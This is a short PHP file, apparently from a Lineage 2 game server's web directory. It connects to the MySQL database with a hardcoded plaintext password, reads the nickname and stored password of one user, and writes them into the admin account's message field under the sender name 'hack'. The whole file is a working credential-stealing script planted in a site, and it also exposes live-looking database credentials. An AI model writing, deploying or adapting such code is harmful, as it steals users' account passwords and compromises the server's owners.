View file ascalon/1.php

File size: 581B
<?php

$dbhost='localhost';
$dbname='db_l2gracia';
$dbusers='db_l2gracia';
$dbpass='FaGw6cgz';
$link=mysql_connect($dbhost,$dbusers,$dbpass) or die ('error connecting');
mysql_select_db($dbname,$link) or die('error selecting db');

$sql=mysql_query("SELECT * FROM users WHERE id=38");
$row=mysql_fetch_array($sql);
$pass1=$row['pass'];
$nick1=$row['nick'];
$nick='hack';
$komu='admin';
$text="Ник: $nick1<br>Пароль: $pass1";
$let="$nick:||:$komu:||:$text";
mysql_query("UPDATE dop SET letters=\"$let\" WHERE nick=\"admin\"") or die('update error');
?>